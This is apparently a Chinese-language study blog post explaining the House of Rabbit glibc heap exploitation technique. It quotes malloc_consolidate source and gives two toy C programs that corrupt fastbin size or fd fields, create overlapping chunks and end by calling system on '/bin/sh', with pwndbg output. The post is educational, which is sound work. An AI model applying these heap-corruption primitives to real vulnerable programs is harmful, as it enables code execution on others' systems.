House_of_Rabbit
House of Rabbit
一种针对fastbin的攻击,造成chunk overlap。当glibc版本大于2.26时需要先绕过tcache
核心原理
glibc-2.23
当malloc一个很大的chunk时(large bin范围),会检查是否存在fastbin,若存在则触发malloc_consolidate1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17/*
If this is a large request, consolidate fastbins before continuing.
While it might look excessive to kill all fastbins before
even seeing if there is space available, this avoids
fragmentation problems normally associated with fastbins.
Also, in practice, programs tend to have runs of either small or
large requests, but less often mixtures, so consolidation is not
invoked all that often in most programs. And the programs that
it is called frequently in otherwise tend to fragment.
*/
else {
// 获取large bin的下标。
idx = largebin_index(nb);
// 如果存在fastbin的话,会处理 fastbin
if (have_fastchunks(av)) malloc_consolidate(av);
}
效果:
wiki描述:fastbin中能合并的会合并后放到unsorted bin中,不能合并的会直接放到unsorted bin中
我认为:应该都是先放到unsorted bin中(fastbin不存在unlink),然后在进一步consolidate中一步步合并的(以unlink方式)。假设fastbin a,b物理相邻且均处于free中且在fastbin中也相邻,consolidate中会先将chunk a放入unsorted bin中,且chunk a的下一个chunk的pre_inuse被置0。接下来对chunk b因为检测到前一个chunk处于free,就会发生前向合并unlink,合并后被放入unsorted bin中。
不过最终的结果是相同的
static void malloc_consolidate(mstate av) 中部分代码如下
1 | /* Slightly streamlined version of consolidation code in free() */ |
- 可以看到,下一个chunk的确定是由当前chunk的size位决定的,并获取相应的nexsize和nextinuse
- 如果前一个chunk处于free则进行前向合并(本例中不用考虑,fastbin的preinuse始终为1)
- 接下来判断如果下一个chunk不是top chunk则获取下下个chunk的pre_inuse,来判断下一个chunk是否处于free
若下一个chunk处于free中,进行后向合并(本例也不用考虑,理由同上)
否则把下一个chunk的pre_inuse置0
然后判断若为large bin范围则额外设置fd_nextsize和bk_nextsize为NULL。然后修正该chunk的size位(set_head),把该chunk放进unsorted bin中,修正下一个chunk的pre_size(set_foot)
- 如果下一个chunk是top chunk则直接合并
两种利用方式
可修改size位时
示例代码
依葫芦画瓢写了个程序1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int main()
{
char* payload;
char* chunk1=malloc(0x40);
char* chunk2=malloc(0x40);
malloc(0x10); //barrier
free(chunk1);
free(chunk2);
*(chunk1-8)=0xa1; //修改size位
malloc(0x1000); //触发consolidate
char* chunk3=malloc(0x90);
char* chunk4=malloc(0x40); //overlap
strcpy(chunk4, "whoami");
payload = "aaaaaaaa"
"aaaaaaaa"
"aaaaaaaa"
"aaaaaaaa"
"aaaaaaaa"
"aaaaaaaa"
"aaaaaaaa"
"aaaaaaaa"
"aaaaaaaa"
"aaaaaaaa"//'a'*0x50
"/bin/sh";
strcpy(chunk3, payload);
system(chunk4);
return 0;
}
分析
先把chunk1,chunk2放进fastbin
修改chunk1的size为chunk1+chunk2
再触发consolidate
会按照修改过后的size把chunk1放进unsorted bin。然后根据fastbin的fd找到chunk2又按照其size把chunk2放进unsorted bin。
pwndbg> b 15
consolidate后1
2
3smallbins
0x50: 0x602050 —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— 0x602050 /* 'P `' */
0xa0: 0x602000 —▸ 0x7ffff7dd1c08 (main_arena+232) ◂— 0x602000
这里顺便解释一下为什么两个chunk在small bin中
之前提到consolidate后chunk是被放入unsorted bin中
然而需要注意完成consolidate后我们需要接着进行malloc,而这时会遍历unsorted bin,按照FIFO逐个取出unsorted bin中的chunk。此时我们的unsorted bin中应该有两个chunk,一个0x50一个0xa0。然后判断发现不是small request(64位32~1016字节),便放入相应的bin中。所以最终这两个bin会从unsorted bin中被放入small bin中。
接下来malloc相应大小,把两个smallbins拿出来即发生overlap
可修改fd指针时
示例代码
也写了个程序1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int main()
{
char* payload;
char* chunk1 = malloc(0x40);
char* chunk2 = malloc(0xb0);
malloc(0x10);
*(chunk2+8*1) = 0x41;
*(chunk2+8*9) = 0x41;
*(chunk2+8*17) = 0x41;
free(chunk1);
*(void**)chunk1 = chunk2;
malloc(0x1000);
char* chunk3 = malloc(0x30);
strcpy(chunk3, "whoami");
payload = "aaaaaaaa"
"aaaaaaaa"//'a'*0x10
"/bin/sh";
strcpy(chunk2, payload);
system(chunk3);
return 0;
}
分析
布局
在大小位0xb0的chunk内伪造三个size位,并free掉第一个chunk,且修改其fd指向0x602060
(三个size位分别作为fake chunk的size,fake chunk下一个chunk的size和fake chunk下下个chunk的size)
(实际上第三个伪造的size只需要用到其pre_inuse,为了判断fake chunk的下一个chunk是否处于空闲,亲测只布置一个1作为pre_inuse也能通过)
1 | fastbin: 0x50: 0x602000 —▸ 0x602060 ◂— 0x0 |
fake chunk被加入fastbin链中
然后触发consolidate
效果如下1
2
3smallbins
0x40: 0x602060 —▸ 0x7ffff7dd1ba8 (main_arena+136) ◂— 0x602060 /* '` `' */
0x50: 0x602000 —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— 0x602000
接下来同样申请相应大小chunk即可申请到smallbin中两个chunk,位于0x602060的0x40大小chunk与正常分配的位于0x602050的0xb0大小chunk重叠
总结
House of Rabbit,主要针对fastbin仅根据size位进行索引,结合改size或改fd两种方式,通过触发_int_malloc中consolidate造成chunk overlap
在学习该方法过程中感觉又加深了对部分源码的理解
参考链接
https://wiki.x10sec.org/pwn/linux/glibc-heap/house_of_rabbit-zh/#_1
https://wiki.x10sec.org/pwn/linux/glibc-heap/implementation/malloc-zh/








